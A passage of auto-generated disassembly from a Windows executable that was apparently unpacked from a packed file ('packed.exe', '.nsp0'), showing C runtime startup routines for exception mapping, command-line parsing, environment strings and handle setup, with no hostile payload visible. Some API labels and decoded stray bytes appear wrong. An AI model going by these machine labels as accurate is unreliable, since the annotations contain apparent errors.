		add	esi, 0Ch
		dec	edx
		jnz	short loc_4127DC


loc_4127E5:				; CODE XREF: sub_412765+69j
		mov	eax, [eax]
		mov	esi, dword_420274
		cmp	eax, 0C000008Eh
		jnz	short loc_412800
		mov	dword_420274, 83h
		jmp	short loc_412870
; ---------------------------------------------------------------------------


loc_412800:				; CODE XREF: sub_412765+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_412813
		mov	dword_420274, 81h
		jmp	short loc_412870
; ---------------------------------------------------------------------------


loc_412813:				; CODE XREF: sub_412765+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_412826
		mov	dword_420274, 84h
		jmp	short loc_412870
; ---------------------------------------------------------------------------


loc_412826:				; CODE XREF: sub_412765+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_412839
		mov	dword_420274, 85h
		jmp	short loc_412870
; ---------------------------------------------------------------------------


loc_412839:				; CODE XREF: sub_412765+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41284C
		mov	dword_420274, 82h
		jmp	short loc_412870
; ---------------------------------------------------------------------------


loc_41284C:				; CODE XREF: sub_412765+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41285F
		mov	dword_420274, 86h
		jmp	short loc_412870
; ---------------------------------------------------------------------------


loc_41285F:				; CODE XREF: sub_412765+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_412870
		mov	dword_420274, 8Ah


loc_412870:				; CODE XREF: sub_412765+99j
					; sub_412765+ACj ...
		push	dword_420274
		push	8
		call	ebx
		pop	ecx
		mov	dword_420274, esi
		pop	ecx
		pop	esi
		jmp	short loc_41288D
; ---------------------------------------------------------------------------


loc_412885:				; CODE XREF: sub_412765+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41288D:				; CODE XREF: sub_412765+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_47F9C8, eax


loc_412895:				; CODE XREF: sub_412765+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4128A3
; ---------------------------------------------------------------------------


loc_41289A:				; CODE XREF: sub_412765+Fj
					; sub_412765+1Aj
		push	[ebp+arg_4]
		call	dword_417164	; UnhandledExceptionFilter


loc_4128A3:				; CODE XREF: sub_412765+2Cj
					; sub_412765+133j
		pop	ebx
		pop	ebp
		retn
sub_412765	endp


; =============== S U B	R O U T	I N E =======================================



sub_4128A6	proc near		; CODE XREF: sub_412765+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_420270
		cmp	dword_4201F0, edx
		push	esi
		mov	eax, offset dword_4201F0
		jz	short loc_4128D3
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:4201F0h[esi*4]


loc_4128C8:				; CODE XREF: sub_4128A6+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4128D3
		cmp	[eax], edx
		jnz	short loc_4128C8


loc_4128D3:				; CODE XREF: sub_4128A6+16j
					; sub_4128A6+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:4201F0h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4128E6
		cmp	[eax], edx
		jz	short locret_4128E8


loc_4128E6:				; CODE XREF: sub_4128A6+3Aj
		xor	eax, eax

locret_4128E8:				; CODE XREF: sub_4128A6+3Ej
		retn
sub_4128A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4128E9	proc near		; CODE XREF: sub_40D514+A5p
		cmp	dword_480F94, 0
		jnz	short loc_4128F7
		call	sub_412403


loc_4128F7:				; CODE XREF: sub_4128E9+7j
		push	esi
		mov	esi, dword_480F8C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_412929


loc_412904:				; CODE XREF: sub_4128E9+33j
					; sub_4128E9+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_412921
		test	al, al
		jz	short loc_412921
		movzx	eax, al
		push	eax
		call	sub_414982
		test	eax, eax
		pop	ecx
		jz	short loc_412904
		inc	esi
		jmp	short loc_412904
; ---------------------------------------------------------------------------


loc_412921:				; CODE XREF: sub_4128E9+21j
					; sub_4128E9+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_412933


loc_412926:				; CODE XREF: sub_4128E9+52j
		inc	esi
		jmp	short loc_412933
; ---------------------------------------------------------------------------


loc_412929:				; CODE XREF: sub_4128E9+19j
		cmp	al, 20h
		jbe	short loc_412933


loc_41292D:				; CODE XREF: sub_4128E9+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41292D


loc_412933:				; CODE XREF: sub_4128E9+3Bj
					; sub_4128E9+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41293D
		cmp	al, 20h
		jbe	short loc_412926


loc_41293D:				; CODE XREF: sub_4128E9+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_4128E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_412941	proc near		; CODE XREF: sub_40D514+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_480F94, ebx
		push	esi
		push	edi
		jnz	short loc_412953
		call	sub_412403


loc_412953:				; CODE XREF: sub_412941+Bj
		mov	esi, dword_47F960
		xor	edi, edi


loc_41295B:				; CODE XREF: sub_412941+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_412973
		cmp	al, 3Dh
		jz	short loc_412966
		inc	edi


loc_412966:				; CODE XREF: sub_412941+22j
		push	esi
		call	sub_40B5B0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41295B
; ---------------------------------------------------------------------------


loc_412973:				; CODE XREF: sub_412941+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_40B6BF
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_47F93C, esi
		jnz	short loc_412995
		push	9
		call	sub_40D60A
		pop	ecx


loc_412995:				; CODE XREF: sub_412941+4Aj
		mov	edi, dword_47F960
		cmp	[edi], bl
		jz	short loc_4129D8
		push	ebp


loc_4129A0:				; CODE XREF: sub_412941+94j
		push	edi
		call	sub_40B5B0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_4129D1
		push	ebp
		call	sub_40B6BF
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_4129C4
		push	9
		call	sub_40D60A
		pop	ecx


loc_4129C4:				; CODE XREF: sub_412941+79j
		push	edi
		push	dword ptr [esi]
		call	sub_40CD70
		pop	ecx
		add	esi, 4
		pop	ecx


loc_4129D1:				; CODE XREF: sub_412941+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_4129A0
		pop	ebp


loc_4129D8:				; CODE XREF: sub_412941+5Cj
		push	dword_47F960
		call	sub_40B771
		pop	ecx
		mov	dword_47F960, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_480F90, 1
		pop	ebx
		retn
sub_412941	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129FA	proc near		; CODE XREF: sub_40D514+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_480F94, ebx
		push	esi
		push	edi
		jnz	short loc_412A11
		call	sub_412403


loc_412A11:				; CODE XREF: sub_4129FA+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_41704C	; GetModuleFileNameA
		mov	eax, dword_480F8C
		mov	off_47F94C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_412A36
		mov	edi, eax


loc_412A36:				; CODE XREF: sub_4129FA+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_412A93
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_40B6BF
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_412A66
		push	8
		call	sub_40D60A
		pop	ecx


loc_412A66:				; CODE XREF: sub_4129FA+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_412A93
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_47F934, esi
		pop	edi
		pop	esi
		mov	dword_47F930, eax
		pop	ebx
		leave
		retn
sub_4129FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A93	proc near		; CODE XREF: sub_4129FA+47p
					; sub_4129FA+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_412ABD
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_412ABD:				; CODE XREF: sub_412A93+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_412B06


loc_412AC2:				; CODE XREF: sub_412A93+58j
					; sub_412A93+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_412AF4
		test	dl, dl
		jz	short loc_412AF4
		movzx	edx, dl
		test	byte_480E61[edx], 4
		jz	short loc_412AE7
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_412AE7
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_412AE7:				; CODE XREF: sub_412A93+46j
					; sub_412A93+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_412AC2
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_412AC2
; ---------------------------------------------------------------------------


loc_412AF4:				; CODE XREF: sub_412A93+36j
					; sub_412A93+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_412AFE
		and	byte ptr [esi],	0
		inc	esi


loc_412AFE:				; CODE XREF: sub_412A93+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_412B49
		inc	eax
		jmp	short loc_412B49
; ---------------------------------------------------------------------------


loc_412B06:				; CODE XREF: sub_412A93+2Dj
					; sub_412A93+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_412B11
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_412B11:				; CODE XREF: sub_412A93+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_480E61[ebx], 4
		jz	short loc_412B2C
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_412B2B
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_412B2B:				; CODE XREF: sub_412A93+91j
		inc	eax


loc_412B2C:				; CODE XREF: sub_412A93+8Bj
		cmp	dl, 20h
		jz	short loc_412B3A
		test	dl, dl
		jz	short loc_412B3E
		cmp	dl, 9
		jnz	short loc_412B06


loc_412B3A:				; CODE XREF: sub_412A93+9Cj
		test	dl, dl
		jnz	short loc_412B41


loc_412B3E:				; CODE XREF: sub_412A93+A0j
		dec	eax
		jmp	short loc_412B49
; ---------------------------------------------------------------------------


loc_412B41:				; CODE XREF: sub_412A93+A9j
		test	esi, esi
		jz	short loc_412B49
		and	byte ptr [esi-1], 0


loc_412B49:				; CODE XREF: sub_412A93+6Ej
					; sub_412A93+71j ...
		and	[ebp+arg_10], 0


loc_412B4D:				; CODE XREF: sub_412A93+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_412C36


loc_412B56:				; CODE XREF: sub_412A93+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_412B62
		cmp	dl, 9
		jnz	short loc_412B65


loc_412B62:				; CODE XREF: sub_412A93+C8j
		inc	eax
		jmp	short loc_412B56
; ---------------------------------------------------------------------------


loc_412B65:				; CODE XREF: sub_412A93+CDj
		cmp	byte ptr [eax],	0
		jz	loc_412C36
		test	edi, edi
		jz	short loc_412B7A
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_412B7A:				; CODE XREF: sub_412A93+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_412B7F:				; CODE XREF: sub_412A93+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_412B88:				; CODE XREF: sub_412A93+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_412B91
		inc	eax
		inc	ebx
		jmp	short loc_412B88
; ---------------------------------------------------------------------------


loc_412B91:				; CODE XREF: sub_412A93+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_412BC2
		test	bl, 1
		jnz	short loc_412BC0
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_412BAF
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_412BAF
		mov	eax, edx
		jmp	short loc_412BB2
; ---------------------------------------------------------------------------


loc_412BAF:				; CODE XREF: sub_412A93+10Dj
					; sub_412A93+116j
		mov	[ebp+arg_0], edi


loc_412BB2:				; CODE XREF: sub_412A93+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_412BC0:				; CODE XREF: sub_412A93+106j
		shr	ebx, 1


loc_412BC2:				; CODE XREF: sub_412A93+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_412BD7
		inc	ebx


loc_412BCA:				; CODE XREF: sub_412A93+142j
		test	esi, esi
		jz	short loc_412BD2
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_412BD2:				; CODE XREF: sub_412A93+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_412BCA


loc_412BD7:				; CODE XREF: sub_412A93+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_412C27
		cmp	[ebp+arg_10], 0
		jnz	short loc_412BED
		cmp	dl, 20h
		jz	short loc_412C27
		cmp	dl, 9
		jz	short loc_412C27


loc_412BED:				; CODE XREF: sub_412A93+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_412C21
		test	esi, esi
		jz	short loc_412C10
		movzx	ebx, dl
		test	byte_480E61[ebx], 4
		jz	short loc_412C09
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_412C09:				; CODE XREF: sub_412A93+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_412C1F
; ---------------------------------------------------------------------------


loc_412C10:				; CODE XREF: sub_412A93+162j
		movzx	edx, dl
		test	byte_480E61[edx], 4
		jz	short loc_412C1F
		inc	eax
		inc	dword ptr [ecx]


loc_412C1F:				; CODE XREF: sub_412A93+17Bj
					; sub_412A93+187j
		inc	dword ptr [ecx]


loc_412C21:				; CODE XREF: sub_412A93+15Ej
		inc	eax
		jmp	loc_412B7F
; ---------------------------------------------------------------------------


loc_412C27:				; CODE XREF: sub_412A93+148j
					; sub_412A93+153j ...
		test	esi, esi
		jz	short loc_412C2F
		and	byte ptr [esi],	0
		inc	esi


loc_412C2F:				; CODE XREF: sub_412A93+196j
		inc	dword ptr [ecx]
		jmp	loc_412B4D
; ---------------------------------------------------------------------------


loc_412C36:				; CODE XREF: sub_412A93+BDj
					; sub_412A93+D5j
		test	edi, edi
		jz	short loc_412C3D
		and	dword ptr [edi], 0


loc_412C3D:				; CODE XREF: sub_412A93+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_412A93	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C47	proc near		; CODE XREF: sub_40D514+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_47FAD0
		push	ebx
		push	ebp
		mov	ebp, dword_41703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_412C95
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_412C76
		mov	dword_47FAD0, 1
		jmp	short loc_412C9E
; ---------------------------------------------------------------------------


loc_412C76:				; CODE XREF: sub_412C47+21j
		call	dword_417170	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_412D70
		mov	dword_47FAD0, 2
		jmp	loc_412D24
; ---------------------------------------------------------------------------


loc_412C95:				; CODE XREF: sub_412C47+19j
		cmp	eax, 1
		jnz	loc_412D1F


loc_412C9E:				; CODE XREF: sub_412C47+2Dj
		cmp	esi, ebx
		jnz	short loc_412CAE
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_412D70


loc_412CAE:				; CODE XREF: sub_412C47+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_412CC3


loc_412CB5:				; CODE XREF: sub_412C47+73j
					; sub_412C47+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_412CB5
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_412CB5


loc_412CC3:				; CODE XREF: sub_412C47+6Cj
		sub	eax, esi
		mov	edi, dword_4170C0
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_412D14
		push	ebp
		call	sub_40B6BF
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_412D14
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_412D10
		push	[esp+18h+var_8]
		call	sub_40B771
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_412D10:				; CODE XREF: sub_412C47+B9j
		mov	ebx, [esp+18h+var_8]


loc_412D14:				; CODE XREF: sub_412C47+99j
					; sub_412C47+A8j
		push	esi
		call	dword_41716C	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_412D72
; ---------------------------------------------------------------------------


loc_412D1F:				; CODE XREF: sub_412C47+51j
		cmp	eax, 2
		jnz	short loc_412D70


loc_412D24:				; CODE XREF: sub_412C47+49j
		cmp	edi, ebx
		jnz	short loc_412D34
		call	dword_417170	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_412D70


loc_412D34:				; CODE XREF: sub_412C47+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_412D44


loc_412D3A:				; CODE XREF: sub_412C47+F6j
					; sub_412C47+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_412D3A
		inc	eax
		cmp	[eax], bl
		jnz	short loc_412D3A


loc_412D44:				; CODE XREF: sub_412C47+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_40B6BF
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_412D5A
		xor	esi, esi
		jmp	short loc_412D65
; ---------------------------------------------------------------------------


loc_412D5A:				; CODE XREF: sub_412C47+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_40B210
		add	esp, 0Ch


loc_412D65:				; CODE XREF: sub_412C47+111j
		push	edi
		call	dword_417168	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_412D72
; ---------------------------------------------------------------------------


loc_412D70:				; CODE XREF: sub_412C47+39j
					; sub_412C47+61j ...
		xor	eax, eax


loc_412D72:				; CODE XREF: sub_412C47+D6j
					; sub_412C47+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_412C47	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D79	proc near		; CODE XREF: sub_40D514+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_40B6BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_412D99
		push	1Bh
		call	sub_40D60A
		pop	ecx


loc_412D99:				; CODE XREF: sub_412D79+16j
		mov	dword_480C40, esi
		mov	dword_480D40, 20h
		lea	eax, [esi+100h]


loc_412DAF:				; CODE XREF: sub_412D79+52j
		cmp	esi, eax
		jnb	short loc_412DCD
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_480C40
		add	esi, 8
		add	eax, 100h
		jmp	short loc_412DAF
; ---------------------------------------------------------------------------


loc_412DCD:				; CODE XREF: sub_412D79+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_41711C	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_412EA9
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_412EA9
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_412E03
		mov	esi, eax


loc_412E03:				; CODE XREF: sub_412D79+86j
		cmp	dword_480D40, esi
		jge	short loc_412E5D
		mov	edi, offset dword_480C44


loc_412E10:				; CODE XREF: sub_412D79+DAj
		push	100h
		call	sub_40B6BF
		test	eax, eax
		pop	ecx
		jz	short loc_412E57
		add	dword_480D40, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_412E2E:				; CODE XREF: sub_412D79+CFj
		cmp	eax, ecx
		jnb	short loc_412E4A
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_412E2E
; ---------------------------------------------------------------------------


loc_412E4A:				; CODE XREF: sub_412D79+B7j
		add	edi, 4
		cmp	dword_480D40, esi
		jl	short loc_412E10
		jmp	short loc_412E5D
; ---------------------------------------------------------------------------


loc_412E57:				; CODE XREF: sub_412D79+A4j
		mov	esi, dword_480D40


loc_412E5D:				; CODE XREF: sub_412D79+90j
					; sub_412D79+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_412EA9


loc_412E63:				; CODE XREF: sub_412D79+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412EA0
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_412EA0
		test	cl, 8
		jnz	short loc_412E82
		push	eax
		call	dword_417030	; GetFileType
		test	eax, eax
		jz	short loc_412EA0


loc_412E82:				; CODE XREF: sub_412D79+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_480C40[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_412EA0:				; CODE XREF: sub_412D79+EFj
					; sub_412D79+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_412E63


loc_412EA9:				; CODE XREF: sub_412D79+65j
					; sub_412D79+71j ...
		xor	ebx, ebx


loc_412EAB:				; CODE XREF: sub_412D79+195j
		mov	eax, dword_480C40
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_412F06
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_412EC6
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_412ED0
; ---------------------------------------------------------------------------


loc_412EC6:				; CODE XREF: sub_412D79+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_412ED0:				; CODE XREF: sub_412D79+14Bj
		push	eax
		call	dword_417034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_412EF5
		push	edi
		call	dword_417030	; GetFileType
		test	eax, eax
		jz	short loc_412EF5
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_412EFB


loc_412EF5:				; CODE XREF: sub_412D79+163j
					; sub_412D79+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_412F0A
; ---------------------------------------------------------------------------


loc_412EFB:				; CODE XREF: sub_412D79+17Aj
		cmp	eax, 3
		jnz	short loc_412F0A
		or	byte ptr [esi+4], 8
		jmp	short loc_412F0A
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412D79+13Ej
		or	byte ptr [esi+4], 80h


loc_412F0A:				; CODE XREF: sub_412D79+180j
					; sub_412D79+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_412EAB
		push	dword_480D40
		call	dword_417038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_412D79	endp

; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F2C	proc near		; DATA XREF: sub_40D514+Ao
					; sub_410EC0+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_412FCC
		mov	[ebp+var_8], eax


loc_412F4D:				; DATA XREF: .nsp0:off_41DA68o
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_412F5F:				; CODE XREF: sub_412F2C+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_412FC5
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_412FB3
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_412FB3
		js	short loc_412FBE
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40BCD8
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_40BD1A
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_40BDAE
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_412FB3:				; CODE XREF: sub_412F2C+40j
					; sub_412F2C+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_412F5F
; ---------------------------------------------------------------------------


loc_412FBE:				; CODE XREF: sub_412F2C+54j
		mov	eax, 0
		jmp	short loc_412FE1
; ---------------------------------------------------------------------------


loc_412FC5:				; CODE XREF: sub_412F2C+36j
		mov	eax, 1
		jmp	short loc_412FE1
; ---------------------------------------------------------------------------


loc_412FCC:				; CODE XREF: sub_412F2C+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_40BD1A
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_412FE1:				; CODE XREF: sub_412F2C+97j
					; sub_412F2C+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_412F2C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_40BD1A
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_413004	proc near		; CODE XREF: sub_40D60A+9p
					; sub_40D62F+9p
		mov	eax, dword_47F968
		cmp	eax, 1
		jz	short loc_41301B
		test	eax, eax
		jnz	short locret_41303C
		cmp	dword_41DBF4, 1
		jnz	short locret_41303C


loc_41301B:				; CODE XREF: sub_413004+8j
		push	0FCh
		call	sub_41303D
		mov	eax, dword_47FAD4
		pop	ecx
		test	eax, eax
		jz	short loc_413031
		call	eax


loc_413031:				; CODE XREF: sub_413004+29j
		push	0FFh
		call	sub_41303D
		pop	ecx

locret_41303C:				; CODE XREF: sub_413004+Cj
					; sub_413004+15j
		retn
sub_413004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41303D	proc near		; CODE XREF: sub_40D60A+12p
					; sub_40D62F+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_420280


loc_413050:				; CODE XREF: sub_41303D+20j
		cmp	edx, [eax]
		jz	short loc_41305F
		add	eax, 8
		inc	ecx
